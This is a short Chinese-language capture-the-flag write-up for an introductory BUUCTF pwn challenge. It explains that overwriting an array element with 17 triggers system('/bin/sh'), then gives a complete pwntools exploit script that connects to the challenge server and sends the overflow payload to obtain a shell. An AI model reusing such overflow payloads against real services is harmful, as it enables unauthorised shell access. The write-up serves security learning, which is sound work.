题目
解题
先连接看看有什么信息
返回what's your name
没有其他信息
看程序基本信息
32位
拉到ida32查看
打开发现如下
由上述代码可知,需要将数组0-12装满,装什么都可以,将var[13]=17才能执行system("/bin/sh")
payload
from pwn import * #引入pwntools库
p=remote("node5.buuoj.cn",29632)#配置nc链接,连接服务器
payload=b'a'*13*4+p32(17)
#p32是针对32位程序,p64是针对64位程序,把字符转为hex
#0-12的空间装满,var[13]=17
#b表示一个字节字符串
#从ida中查看可知,init类型,4字节(数组里存储的内容有变量类型,所以内存空间需要乘4)
p.sendline(payload)#发送攻击字符串
p.interactive()#程序交互
运行脚本文件 可得到
找到flag
学习参考连接:
PWN入门3-填充数据和写一个简单攻击脚本_哔哩哔哩_bilibili